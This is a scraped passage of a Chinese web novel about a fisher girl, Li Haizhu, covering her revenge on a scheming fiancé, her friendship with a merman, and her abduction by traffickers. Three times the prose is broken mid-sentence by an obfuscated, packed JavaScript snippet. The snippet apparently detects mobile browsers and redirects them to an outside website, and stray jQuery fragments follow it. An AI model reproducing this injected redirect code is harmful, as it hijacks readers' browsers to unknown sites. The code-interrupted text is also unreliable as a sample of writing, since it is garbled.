姑父和蔼问道:“媒婆去找你了吗?你姑姑说什么事情都不要担心,只需要安心做个新娘,知晓婚礼流程。” “我打算推迟,麻烦姑父告知姑姑,之后我会告知她缘由。”李海珠说完便告辞离开。 刚踏进林家,就是一片狼藉,晾晒的海鱼都被打翻,地面上还有碎掉的粗瓷,像是刚被人砸过。 林氏有个不成器的儿子,整日混迹在赌坊,欠了一屁股债,债主找不到人就来林家要债。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206375|197359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林氏坐着抹眼泪,察觉有人来了,立刻擦了擦脸颊,“谁来……” 瞧见是李海珠,立刻下巴高抬,“你来干什么,莫不是来磕头认罪?” “讨杯喜酒喝。” “我还没有往外说,你倒是知道了,是媒婆告诉你的。”林氏冷哼了一声,“没有,快走!” “林婶这倒是你的不是,虽然对我有隔阂,这大喜的事情也不该将我拒之门外。” 林氏不耐烦拜拜手,“根本就没有打算办席面,找个媒婆将那丫头送走,已经是我对她最大的仁慈。” 李海珠:“她是你的女儿。” “赔钱的贱丫头罢了,你快走!” “可你所谓的儿子也没好到哪里,是挣了多少钱,穿金了还是戴银了,刚刚哭得好可怜啊——” 李海珠拉长语调,看见眼前人气得跳脚,才笑着扬长而去。 没走多远,被一双手拉到角落,林渔娘眼里带着怒火,低声质问:“你到我家干什么!” “正好我也要去找你,这婚我是不退了。” 林渔娘威胁道:“就不怕我把你的事情说出去。” “李护柱知道你怀得不是他的孩子吗?”李海珠冷不丁来了一句。 林渔娘表情一瞬间的空白,浑身发抖强装镇定,“你在胡说什么,就是李护柱的。” “如果我猜得没错,林氏给你订了一门婚事,但你不愿意嫁给城东的孙瘸子。” 李海珠背着手,时刻留意眼前人的神色,“于是和别人私相授受,但那人抛弃了你,后来你发现怀孕,又盯上李护柱,为了给孩子寻名义上的生父。” “我听不懂你在说什么!” “那我说给李护柱听。”李海珠抬腿要走,却被林渔娘拉住。 “你想要干什么!” 林渔娘忍住眼里的惧意,泪水夺眶而出,“但你说得有点不对,是李护柱主动勾搭我,我只是顺其自然,他也不是什么好东西,这次我去他也是知道的,因为我跟他说能够让你主动退婚,分一半财产给他。” “他根本不想当赘婿,你以为没有我就不会有其他人吗?” 李海珠轻笑了几声,逐渐靠近:“我当然清楚。” “所以你我斗得两败俱伤没意思,不如我们合作,各取所需。” * 三日后,清晨。 众人被喧嚣声吵醒,纷纷出门查看,林氏满脸红光,敲锣打鼓。 “林氏,这是怎么了?” 林氏故意卖了个关子,“跟着我走就知道了。” 众人好奇地跟在后面,来到海滩边的密林中。 林氏在低矮的树丛停下,清咳了几声,“李海珠,没想到你快要成婚,还与他人私通。” 见半天没有人应声,她压低树丛,让眼前的景象暴露在众人面前。 “不可能。”林氏退后几步。 众人上前一看,大呼有辱斯文! 树丛中两人抱在一起,衣衫不整,一人的手还在不断往上游走,摸上另一人的屁股。 两人正是迷情意乱之际,其中一人像是察觉到众人的目光,猛然抬头,看到抱着的人惊叫出声。 “你们!你们!两个大男子怎么能够做这种事!真是愧对列祖列宗!” 树丛中的两人正是李护柱和瘸腿酒鬼。 5. 第 5 章 议事堂。 村子里所有人都围成一圈,族老在众人的搀扶下落座,脸如树皮般枯皱,浑浊的眼睛扫视堂下两人,重重敲了敲拐杖。 “都是传宗接代的好儿郎,怎么能够做出如此苟且之事。” “这到底是怎么回事?”族老目光移到林氏,目光如炬:“你先发现的,你说!” 林氏吓得一哆嗦,“我今晨去打水,路上遇到李海珠鬼鬼祟祟的,就跟了上去,发现她在和孙瘸子在树丛里私会。” “所以你就领着众人去瞧!” 族老拍了拍桌子,转向看到李海珠,眼神厌恶,“外族生的,这是这么回事?” 李海珠眼里噙着泪:“是孙叔威胁我,要我把爹给我埋的女儿红给她,要不然就打死我!” “族老,那是我兄长花了二两银子买的,专门等着女儿成亲喝的!”姑姑控诉道。 “这杀千刀……”姑姑痛骂的话还没有说出口,被姑父用力捏了捏手臂,抬头看见族老眼中的怒意,只能两手在前一摆,“太欺负人了!” “伯父,伯父——”孙瘸子跪着向前,抱着族老的大腿,“我可是您弟弟唯一的血脉啊!你要帮我啊!” 族老看着这个不争气的东西,气得朝他心窝踹了一脚,“你混账东西也知道!” 孙瘸子疼得直叫唤,“是李护柱勾引我。” “李护柱,你有断袖之癖,还哄骗我和你成亲!” 李海珠眼泪如珍珠般滚落,周围有婶子拍了拍她的肩膀安慰。 “我没有!明明那药是……”李护柱像是突然反应过来,“是你在从中捣鬼。” “我怎么从中捣鬼,你倒是说啊!” 李海珠料定此人绝对不敢说,难道说他图谋未婚妻财产,一计不成,又找流氓来欺辱,只等未婚妻失了清白,站在制高点上斥责,再索求赔偿。 真是好恶心! 李护柱话咽在口中,解释道:“绝对是李海珠给我下药了,当初我浑身发热,眼中出现幻觉。” “昨天我可是和婶子干了一天的活计,和你都没有见面,我又是怎么给你下得药。”李海珠捂着胸口,泪如雨下,“怎么说也有从小一起长大的情分,空口白牙污蔑我!” “你绝对是算计好了的。” “那我们就去官府走上一遭,看最后到底怎么处置我们!” “好了,吵什么吵,不知道丑事不可外扬!” 族老大声呵斥,眼神落在李海珠身上问:“你想要什么?” “既然族老发话,那我就直说了,按我朝律法通奸者脊杖十五,但我爹娘从小养育他,如今做出此等猪狗不如之事,我要求再加十杖。” 族老摆了摆手,“将人拖出去杖二十五。” “族老,族老,二十五杖足够要了我的命。” 李护柱跪地求饶,但什么用都没有,被人扯着往外走。 门外传来阵阵惨叫声,李海珠垂下眼眸,嘴唇微勾。 两人察觉到李护柱的异常,便立刻展开计划,李海珠负责将有好酒的消息传到孙瘸子耳中,并提前打晕被雇佣的流氓,而林渔娘负责引来林氏和掉包药粉。 眼前只能算是李护柱自食恶果! 半晌之后,李护柱神志全无,背上血痕交错,如死狗般瘫倒在地。 众人散去,议论声一片。 “最近村子里总是出些糟心事,该去庙里拜拜。” “可不是,吴氏隔壁那杀鱼的最近也是老倒霉,明日我们便一起去拜。” 姑姑拉着她回家,直到关上房门,她彻底绷不住,搂着李海珠直掉眼泪,“我可怜的孩子,以后可怎么办?” “你放心,姑姑会给你找个如意郎君,要不然百年之后我怎么有脸见兄长。” “一定要成婚吗?”她垂下头。 “肯定啊,自古以来便是男大当婚,女大当嫁。” 李海珠推开姑姑的怀抱,低头说道:“昨日便采收了海蛎,趁着时日还早,我要去集市全部卖掉。” 日落黄昏,整片天空呈现橘红色,海水拍击礁石。 礁石上站着两人,似乎只是恰巧遇见,间隔并不近,其中一人脸色苍白,手抵在唇上咳嗽。 李海珠递过一包粉末,“这是我去医馆开的,直接温水冲服,一日两次,三日后药到病除。” 似乎知道对方的顾及,补充道:“问过大夫了,对胎儿没有损伤。” “多谢你。”林渔娘柔静地笑了笑,接过药包。 “你知道现在身子重,应该躲出去,而不该故意感染风寒,稍有不慎随时都能一尸两命。” 昨日林渔娘将林家的用水全部倒掉,自己又卧病在床,逼得林氏早起打水。 林渔娘:“那样我不确定她会不会去打水。” 李海珠沉默,又问:“李护柱有怀疑你吗?” 林渔娘摇了摇头,“他重伤回家,我便给他找大夫,忙前忙后他感动还来不及,更不会疑我,再说了他现在名声坏了,除了我别的姑娘不会愿意嫁他。” “所以他更着急,今日下午已经向我娘提亲,付了比孙瘸子多一倍的彩礼,我娘已经同意了。” “李护柱不是好东西,你要想清楚。” “这已经是我能想到最好的路。” 林渔娘抿嘴微笑,“其实你之前的猜测还有一点说错了,得知婚约后我跑了,没有路引,最多跑到富林县,在那里替人洗衣勉强维持生活,过得拮据但很轻松。” “但还是被找到了,别人一听我是逃家的,便将我赶走了,又回到这里。” 落日的余晖燃尽,素净的小脸落在阴影里,她笑道:“我逃不脱,永远逃不脱。” “其实我从小到大每次看见你,都很嫉妒,现在也是。” 林渔娘说话的声音很低,但李海珠还是听到了,道:“那就永远不见,就不会再念着我。” 林渔娘一愣,笑道:“嗯,再也不见。” 旁边的人离开,李海珠并没有动,两人不宜同时出现在众人视线中,要等人走远。 但这样实在无聊,她捡起一块石头往海面砸去,只荡起一点水花,又瞬间被吞没,如此渺小,不自量力。 李海珠不服输抱着更大一块石头,用尽全力往大海丢去,突然鲛人浮出海面,正对着那块石头。 “小心!” 鲛人侧身躲开,荡起的水珠落在他眉毛、鼻梁,又顺着皮肤纹理流下,滴入海中。 李海珠松了口气,扯出笑容,“你怎么又来了。” 鲛人放了一块白色硬物在礁石上,往后退回海里,眉微皱搓洗着手。 这好像是在干了多恶心的事情似的,她暗暗吐槽。 目光投在礁石上的东西,越看越眼熟,这不是在集市上看的龙涎香。 之前那一小块就要二十两,这个成色更好,而且又大,岂不是价值万两。 李海珠眼馋地摸了摸,这可是好东西啊。 随即转眼看着鲛人,眉眼如墨,眼中带着不可微察的期盼。 那天他果然还是没有明白,在那里胡乱点头。 鲛人嗅觉灵敏,估计嗅到了龙涎香的味道,见她不要鲛 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“李海珠。” 她笑意更甚。 …… 叫声停下,李海珠不明所以的望过去,鲛人嘴唇紧抿,眼神带着谴责。 她摸了摸嘴,发现果然张开大笑,语言不通也知道这在捉弄人。 “你声音太好听了,我没有忍住多听。”李海珠悻悻地说。 她指着自己说名字,又指着鲛人,示意他说出自己的名字。 果然把人弄生气了,也不愿意搭理她了,李海珠想要拍拍他表示和解,鲛人一下游了好远,好似她是洪水猛兽一样。 李海珠只好后退,鲛人才逐渐靠近。 “你就教教我。”其实比起鲛人学会人类语言,她更想自己学会,毕竟技多不压身。 李海珠再次示意他说出自己的名字。 鲛人咕噜咕噜地说,她囫囵吞枣地学,尤其是最后那一个调差点没有喘得上来。 算了,还是鲛人学,这学得可费劲了。 但是也不能一直叫鲛人,该给他取个名字。 李海珠手撑着下巴,想了半天,忽然灵机一动,“就叫璞玉。” 越发觉得这个名字好听,听上去很有文采! 她兴冲冲地指了指他喊这个名字,又指了指自己说出她的名字。 应该能够懂吧。 这次她没有再问听没听懂,问了也是白问,现在是个文盲鲛。 “璞玉,在这里等我。” 她指了指礁石,又再次喊了名字,尽可能跑得快,万一没听懂跑了可怎么教。 沧冥望着人离去的背影,这几天都在追着抹香鲸跑,没有找到恩人手上的味道,这块是偶然在海中碰到,味道很淡。 果然她不满意。 可为什么突然要互通姓名呢? 他垂下眼眸,刚刚并没有告知她名字,族中有规定不可与人类交往过密。 她复述的是族中规定,想起那人认真地跟读,沧冥目光闪了闪。 现在人走了,他也该离开了。 “璞玉——” 潜入水中听到熟悉的呼喊声,他回过头,女子张开手臂跑来,手里拿着什么东西。 原来她给取了个新名字。 璞玉。 他敛下眼帘,这是他学会的第二个词。 6. 第 6 章 果然笨蛋鲛人没有听懂,幸亏她跑得快。 李海珠扬了扬手中的几本书,是专门回家找的,都是小时候启蒙用的书。 书已经泛黄,但里面的字都还清楚,她将书摆在鲛人面前,指着上面的字,教读:“人——之——初——” 鲛人眉头微皱,盯着她好像很无奈。 “没关系的,你可以的!” 她大声鼓励,跟着我说:“人——之——初——” 在她期盼的眼神,鲛人终于说出那三个字。 “真棒!” 她又重复了几遍,直到鲛人能够独立说出,再继续下一句。 鲛人学得很快,很快翻到下一页,这时纸上写着一句话盖住了原本的字。 李海珠拿起来认真瞧了瞧,应该是小时候的她写得,因为不会写爹这个字,将三个夕叠在一起,加上刚刚握笔写,看着异常滑稽。 “你先温习原先学过的。”她翻回书的上一页,饶有兴致地拿起其他书。 她了解自己,在一本写过就不会放过第二本,果不其然这本她明显会写字了,话能看得懂。 “这是我的娘,又不是他的娘。” “讨厌爹爹!” 依旧是熟悉的三个夕。 后面的字却不同,像是爹的字迹,洋洋洒洒写下几个字。 “我的。” 小时候的她好像不能接受,把它划掉,后面爹添上新的,又划掉,又添上新的。 最后没招了,直接在后面写道:“以后我要找个温柔体贴的夫君!” 她低笑,继续往后翻,这一页没有字,画了一个海螺。 应该是这天捡到的海螺,她下意识摸腰上的海螺,发现并没有挂在上面,想起今日行动害怕有闪失,便摘下放进柜子里。 突然手臂被人用书碰了一下,她不明所以望过去,鲛人背诵书中的内容,一字不差。 “李海珠,@#¥&。” 鲛人眉眼疏离,说完后消失在海面上。 他这是生气了? 李海珠想的确是看得入神,忽略了他,但也太容易生气了。 沧冥并没有生气,轮到他看守幼鲛,需要提前到达。 等到轮换,和他一起的鲛人才姗姗来迟,是之前的男鲛人,唉声叹气坐在旁边,“未成婚的鲛人又少了两只喽。” 之前和他一起的女鲛人找到终身伴侣,不会再来照顾幼鲛。 男鲛人掏出海螺,“也不知道我这个海螺什么时候能够送出去!” 每个鲛人手中都有一个海螺,当确定情意后会相互赠送,等完成结侣仪式便可相互通话。 而沧冥的海螺早在很多年前不慎遗落,等他去寻,已经不见了。 现在不知道在何处。 男鲛人问:“你报恩怎么样了?” 沧冥没说话。 男鲛人哼唧了几声,“别听那个女鲛人说的,要我说人类都爱钱,最喜欢金灿灿的东西。” 沧冥垂下眼眸思考。 * 李海珠今日一大早就起来,她要赶在低潮时去插网。‘ 将竹竿插入滩涂,间隔一定的距离,在中间绑上渔网,网底压入泥中,等到下一次低潮,她就可以去捡拾搁浅的鱼群。 她擦了擦额间的汗,拿起放在一旁木桶,顺道去井边打水。 正好遇上了姑姑,看到她鞋上全部都是泥,便猜到是大早去滩涂了。 “海珠,用饭了吗?” 她摇了摇头,天微微亮就去,还没有来得及做饭。 “那就来姑姑这里,刚好有事跟你说。” 不用想也知道姑姑要说什么,无非介绍谁家的儿郎,叫她相看。 “我先走了。” 李海珠打了水,急匆匆地离开,似乎后面有狗在撵。 姑姑摇了摇头,大喊:“水要撒了。” 李海珠脚步放缓,但还是以极快的速度走回家中。 将水放入灶房,转而开始烧火煮粥,架起锅炉,她切碎咸鱼放进里面,没过多久粥咕噜冒泡,一股鲜香气嗅入鼻中。 她特意多做了些,想到昨日惹鲛人生气,给他尝没有吃过的食物,也算是赔罪了。 吃完后,李海珠将陶碗装满放入竹篮中,又拿了两本书,用布盖着往海滩去。 找了一块偏僻没有人的海滩,她喊道:“璞玉——” 鲛人冒出海面,歪着脑袋看他,目光凝聚在腰间的海螺。 “昨天的确冷落你,这次我给你带了食物。” 她打开盖着布,将碗递给鲛人,“我煮粥的手艺可是很好,我爹娘都喜欢喝,你算是有口福了。” 他并没有接,而是指着腰间的海螺。 李海珠低头望去,笑道:“你也觉得我这海螺好看,见过的人都说别致。” “你先喝。”她将碗往前伸,示意他喝下。 鲛人迟疑半刻接过,倒入嘴里。 “好喝吧。”李海珠笑嘻嘻问。 殊不知鲛人喜食鲨鱼,人类的食物跟中药没什么两样。 沧冥面不改色一口喝下,目光移到她展开的笑颜,又猛然移开视线,指了指海螺。 李海珠取下海螺,拿在手上把玩,“这是我捡到,可好看了,就像我娘说的……” 沧冥听着语调高昂的话语,知晓对方在夸赞他的海螺,如果对方是个鲛人肯定是在表达好感,但对方是人类,肯定是不知道这些。 只是单纯夸他的海螺好看。 他耳根发红,心里又生出几分落寞。 这种情绪还没出现多久,就被他强压下去,按照族规鲛人不应该和人类有太多牵扯,要尽快将海螺拿回来和报恩。 沧溟拿出早就准备好的东西,放在礁石上。 李海珠的眼睛快要瞎了,这灿烂的光芒! 鲛绡包裹着数不清的金子,又大又沉,她咽了咽口水,大概是病了,心一直在跳。 鲛人从中拿出金簪,有指了指她的海螺。 交换定情信物?! “不行。”她讪笑。 虽然很心动,但她是有原则的。 鲛人嘴唇紧抿,金眸满是不解,仿佛在看一个无理取闹的人。 李海珠连忙解释道:“鲛人和人类是不可能在一起的,就像鱼儿离不开水,我也无法离开空气,如果强行在一起,肯定会很难的……” “海珠——” 突然远处传来清脆的喊声。 两人皆是一惊,双方都没有注意到有人靠近。 李海珠率先反应过来,捏着鲛绡四角,打包好推入鲛人怀里,强行压着鲛人入海。 鲛人消失不见,她刚舒一口气,就看见遗落在礁石上的金簪,睁大眼睛,藏入袖中。 “海珠,你在干什么,我喊你好像都没有听到。” 来的人是面容俏丽,头上戴着朵粉花,鬓角发丝服帖地梳在耳后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206377|197359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是李海珠的闺中密友,何妹。 小时候村子的人是不允许小孩和她一起玩,何妹也是一样。 两人刚开始对双方的印象都不好。 当时李海珠在大树上睡觉,听到连续不断的怒骂声,这骂人的功力和她姑姑有得一拼,直接把她吵醒了。 还没等抬起脖子看,有人来了,指着鼻子骂,何妹畏缩地低下头,人走后她又骂了起来。 她没忍住嗤笑,当然被人发现了,何妹大叫她下来,她偏站在上面,看着人气得跳脚。 后来知道骂她的人是大伯,一直瞧不起她们家,但他娘一直叫她要忍让。 之后也不知道从什么时候她们越来越亲密,瞒着大人偷偷来往。 “海珠,你是不是干了什么坏事?”何妹拉长语调,“藏着什么,我看看。” “没什么,我看书呢。” “在礁石上看书?”何妹满脸怀疑。 “那什么,你探亲回来了。” 何妹家中只有寡母,前不久随母亲回娘家,看似是探亲,实则是择婿。 “可是寻了什么好夫婿?”李海珠戳了戳她,转移话题。 何妹笑着往后一躲,“亲事是已经定下了。” “你脸红了!”李海珠惊讶地左瞧瞧右瞧瞧。 “没有!”何妹捂着脸,“还想不想听了!” “想,当然想。” 何妹声音变得羞涩,轻柔:“是我喜欢的人。” “吴三斤!” “小声些。”何妹轻捶她的肩膀,“被人听到可不好。” 何妹从小便喜欢隔壁村的渔家男孩,据她所说有一次不小心掉入海里,在水里力竭之际,是他救了她一命。 “怕被谁听到啊,吴三斤吗?” 李海珠大笑跑开了,何妹在后面追,“你这人怎么这么讨厌~” 两人最后力竭倒在沙滩上,张开双臂躺在一起。 何妹问:“你呢?李护柱做出那腌臜事,白白耽误你的年华,再过一年不成亲,就是很难嫁出去,我娘说了人成婚有子嗣才能立起来。” “你怎么和我姑姑一样老气横秋。” “好好好,我不说了。”何妹凑近,悄悄在她耳边问道:“那你有喜欢的人吗?” “没有!” “答应的那么快肯定有猫腻,从小你看着书就哼唧,还在海边看书,是不是在等人啊?”何妹语气拉长,笑意盈盈地问。 “是有人喜欢我。”李海珠扯着衣角道,“长得很俊秀,声音很好听,也有钱财。” “那还等什么,要不是我有喜欢的人,我肯定抓住不放。” “可是他家离这很远,我一辈子都无法到达。” 后半句说得很低,旁边人并没有听清。 “是码头行商的,那可千万不行,听说大多早有家室,就爱花言巧语骗人,养个女子当外室。” “不是。” 何妹舒了一口气,又问:“你喜欢他吗?” “不知道。” “啊?刚刚声音太小没听清。” “我说回家!” 李海珠走到家门口,发现门是打开的,还以为是遭贼了,大声呼喊。 姑姑走出来,“是我,进来。” 李海珠进屋倒了杯茶水,忙着去灶房,“姑姑,今日留下来用饭,我现在去忙活。” “别想溜。”姑姑叫住人,“我今日带你相看。” 7. 第 7 章 屋内。 李海珠照着铜镜欣赏着自己的杰作,脸比吊死鬼还要白,打着两坨大腮红,再画了个吃人的红唇,可是捯饬好了。 “该出发了。”姑姑走进卧房,看见她的模样,“这就是你画了这么久的妆容。” “不好看吗?”李海珠眨了眨眼睛,“我觉得还不错呢。” 姑姑没有接话,而是端来一盆清水,叫她洗干净,亲自动手。 半晌之后,李海珠再次照着镜子,嗯,也没有好到哪里。 圆宽脸上画着粗短眉,中间打着腮红,和姑姑平日的妆容一样,但在她脸上却是莫名的不好看,有着精细打扮的笨拙感,这样肯定相看不成。 她胸有成竹往外走,两人坐上牛车来到县城一处院子,进入里面有许多人,中间用屏风遮挡,分隔开男女。 经过的人眼神瞟过她,窃窃私语。 “这人长得好丑,脸上有道疤,看着好恶心。” “她的未婚夫是断袖,好生可怜。” “听说她命格不好,克父克母克夫。” 李海珠感觉像个猪肉般被人谈论,而现在她也要开始评头论足别人。 姑姑:“你看那个身体壮实,也是捕鱼的一把好手。” 李海珠:“不俊秀。” 姑姑:“你看这个长得端正,身子骨看着还行。” 李海珠:“声音难听。” 姑姑:“那个说话彬彬有礼,还是个读书人,没准嫁过去以后会是秀才夫人。” 李海珠:“穷,而且要能考中,他也不会在这。” 姑姑:“……” 姑姑走出门,脸色奇差,李海珠慢悠悠跟在后面。 “姑姑,我……” “讨饶的借口不要说。” “我想说您先回去,我在这附近逛逛。” 姑姑一口气差点没有上来,对着兄长遗孤又说不出重话,气闷地说:“天黑之前必须回来。” 李海珠扯着姑姑的衣袖,撒娇:“姑姑最好了。” 见姑姑脸色缓和,她走进茶楼。 茶楼大堂挤满了人,台上坐着个说书先生,说得唾沫飞溅,到高潮还引得看客拍手叫绝。 李海珠不是来听书的,而是来找人,刚才好像看见何妹,可是她不该在闺中绣嫁衣吗? 小二肩上搭着白巾,躬身走来道:“客官可是要点什么?” “你是否看见过一个女子,和我差不多高,一身粉衣。” “好像上楼了。” 李海珠走上二楼,用竹帘单独隔间,隐隐能够看到里面人的穿着,她低下身子寻找,始终没有看到人。 突然大堂惊堂木一拍,李海珠循声往下看。 说书先生道:“诸位都知鲛人泪可泣珠,油可制成长明灯,可是这到底是谁发现的,里面还藏着一段鲛人痴恋。” “那还要从十三年前讲起,书生在岸边救下一个搁浅的鲛人,鲛人报恩求爱,可是人鲛有别,又怎么可能会接受,书生就跑了。” “三年后书生考中秀才回到,早就将此事忘了一干二净,又遇上鲛人等在岸边,泣泪化珠,这次鲛人假意要见一见岸上的生活,哄骗秀才将她带回家中,然后一把火点燃屋子,和秀才自焚于此。” “原来是鲛人一生只会有一个伴侣,在无尽的等待早就生出怨恨,后来有人给秀才收尸,发现地上那滩油脂,点燃长明不灭。” 众人气愤。 “那秀才真是倒了八辈子血霉,寒窗苦读考中秀才,正是春风得意时,偏偏摊上这么一个事。” “就是太心善了,畜生就是畜生。” 李海珠敛下眼帘,想道鲛人过于偏激,秀才的确无辜。 但在鲛人刚开始表白,秀才应该直截了当拒绝,逃跑是极为懦弱的举动。 说书先生讲完离开,众人也都纷纷散去。 李海珠没找到人也要离开,突然在门口看见何妹,她立刻从人群中挤过去,抓住何妹的手腕。 何妹吓了一跳,“你怎么在这?” “我特意来找你,你不是在家中绣嫁衣。” 何妹笑道:“我找了个活计,做完四天有一两银子,不如你和我一起,反正你的绣活也不错。” 李海珠怀疑问道:“平日也有这种活计,可是最多只有几百文,不会是行骗吧。” “我家远方亲戚介绍的,这还能有假,说是有贵人急要,绣坊便高价请人来,你就跟着我来。” “可我总觉得有蹊跷,既然是绣坊的人,又为何要约到人多的茶楼。”李海珠拉住她不让走。 何妹语气坚决:“今日我是一定要去。” “你知道三斤哥家境好,原本我是配不上的,是三斤哥跪下求父母才得到的姻缘,我家也凑不出太多嫁妆,只有我给自己多备些,海珠,你能懂我的,对吗?” 何妹哭得梨花带雨,李海珠用手帕给她擦了擦眼泪,叹道:“原本是多泼辣的性子,现在哭得跟小猫似的。” 何妹白了她一眼,接过手帕自己擦。 最后两人选了个折中的方案,李海珠跟在后面,确保没有问题,便一刻钟内出来一趟,若是没有出来,她便去县衙报案。 何妹走进巷子里的铺子,窄门用一块花布遮盖,等了许久都没有出来,她的心逐渐沉下来。 正要转身离开,有人从后面捂着她的口鼻。 她的意识逐渐消散,听到有人说话。 “幸亏二狗机灵,多待了一会儿,看见这两个娘们拉扯,要不然这次真要阴沟里翻船了。” “可不是,还想多干完几票,都怪这丑娘们。” 不知道谁踢了她一脚,李海珠彻底昏死了。 李海珠再次醒来,眼皮很沉,感觉像是在一艘船上摇晃,上下浮沉,想到这里恐水症发作,止不住恶心。 这股恶心直上咽喉,她睁开眼睛作呕,这才发现周围很黑,伸手不见五指,而她双手双脚都被绑住。 这是在哪里?何妹又在哪里吗? 李海珠焦急呼喊着人的名字,始终没有回应。 “别喊了。”旁边有人出声,“等下闹来人又要挨打,若你要找和你一起的女子,在你右手边。” 李海珠朝右后方探去,摸着眼前人的脸型轮廓,的确是何妹,她松了口气,没走散就好。 “醒醒。” 她拍打着何妹的肩膀,不一会儿人睁开眼睛,意识到被骗了,流泪道:“都是我太过听信别人。” 现在不是追究责任的时候,应该找到出路。 身下不断摇晃,贴着外面的木板听,还有海浪拍打木板的声音。 是在船上! 所以这里是货舱,她抬头看上面舱口,没有半点光亮从缝隙中透出,现在应该是傍晚。 李海珠思量着对策,船上肯定是会有备用的舢板,只要找到它就能逃走。 现在最重要是撬开舱口,爬上去。 她摸上头发,发现发中的簪子全部被抽走,看样子是搜过身了。。 “别挣扎了,那些人是不会让我们逃走。” 旁边有人告诉她,一起被绑有二十几个女子,都是被高价酬劳骗过来,现在乘着船不知道要卖到哪里。 船舱里的姑娘都小声哭泣,一时之间悲伤弥漫开来。 “若不自救只能任人宰割,你们谁会划船?” 没有人点头,就算是从小在海边长大,女子也是不允许触碰船。 李海珠会开船,但一艘舢板带不了那么多人,若是要有人留下,必然留下的人不愿意,到时候告密大家都走不了,与其这样,不如只带着何妹一起离开。 她不是菩萨,人有亲疏远近,这时候能保全的只有自己和亲近之人。 按照惯例小艇会放置在甲板两侧的船舷,从这里到船舷首先要登上甲板。 得先探清楚这里情况,再想办法离开这里。 不知过了多久,曦光从缝隙中照进来,现在天大亮了,差不多快要午时。 突然舱口被打开,一个满脸横肉的壮汉走进,李海珠能够看见上面有人的阴影落下,还有人在外守着,时不时还有人来回走动。 大汉走过来各自发了一个冷硬的馍馍,粗糙得拉嗓子眼。 现在最重要的是保存体力,她咬了一口吞下去。 发到何妹,大汉眼里露出淫光,想要上手摸。 李海珠凑上去,特意把那道疤朝着大汉,讨好说道:“大爷看看我呗,我实在是不想待在这里。” 大汉被恶心得连连后退,“哪来的丑娘们。” 抬脚往她身上踢了又踢,李海珠大声求饶,大汉才轻哼了几声,继续发食物,发完后离开。 “对不起,海珠。” 何妹知道是为了护她,心疼得直掉眼泪,李海珠扯了扯破皮的嘴角,“哭得我心烦,罚你回去给我洗衣服,直到你成完婚。” 突然有人小声道:“真是贱货,上赶着给人糟践。” 她还没有反应过来,何妹跳着冲上去,骂道:“你才是贱货,嘴巴里一股腥味,闻着隔夜饭都要吐了,你这人就该重新回娘胎再造……” 总算是有当初泼辣的劲,李海珠笑了笑。 在微弱的光亮下,看见不远处有根细长铁丝,她舔了舔干裂的下嘴唇,跳着捡起藏在身下,等到深夜用铁丝试一试,希望能撬开舱口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206378|197359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天又黑了,没有人来送饭,看来只给她们活着的吃食。 突然外面变得嘈杂,李海珠附耳听到几个词,“鲛人”“自毁”,她眼珠子转了转,趁着这个机会能看到外面,规划逃跑路线。 大不了就是再打她一顿,或者不给饭吃,也比卖到异国他乡好。 李海珠敲击着船舱,直到有人打开,她讨好道:“我会说鲛人语言,或许能够帮各位大爷解忧。” 那人听后把门锁上,没过多久又再次打开,一个精干的白脸男人出现在面前,挂满金首饰的手指着她,“你可知道欺骗我的代价。” “不敢不敢。” 走出大门,刺眼的阳光射过来,她下意识眯起眼,他们行进在一望无际的海洋上,已经离陆地很远。 舢板就在甲板左侧的船舷旁,她敛下眼帘。 李海珠跟在后面走进尾楼,到最末端的小屋子,里面只有一个大水桶,幼鲛沉在水底,血往上飘,染红了整个水面。 “@#¥%” 李海珠模仿着曾经鲛人说过的话,幼鲛并没有动静。 白脸男人气怒道:“带回去饿上三天。” “等下!”李海珠指着浮上来的幼鲛。 幼鲛蓝眼睛盯着她,目光沉沉的,浑身散发着阴郁的气息,像是快要枯萎的幼苗。 “她留下。” 声音是动听的,但却充满死寂。 人都走后,幼鲛阖着眼,身上的伤口还在往外冒血,李海珠靠近问:“这不处理吗?” “只要不伤到护心鳞,这些都会愈合,在身上留不下一丝痕迹。” 幼鲛面露讽刺,又道:“重复你之前说的话,不要停。” 寂静的屋内响起女声,一遍又一遍拙劣地模仿着鲛人语言。 李海珠说得口干舌燥,正想问能不能停一停,就看见幼鲛眼尾滑落珍珠,滴落水里,她偏过头假装没有看见。 “那个,能停了吗?” “不行。”幼鲛凶狠地说道。 “那不管,我累了。” 李海珠躺在木板上,幼鲛威胁着要叫人,她两手一伸,“你喊,到时候你就听不到我说的话。” “你以为我不会吗?”幼鲛叽里咕噜说着什么。 李海珠听过鲛人说这句话,知道他说得不对。 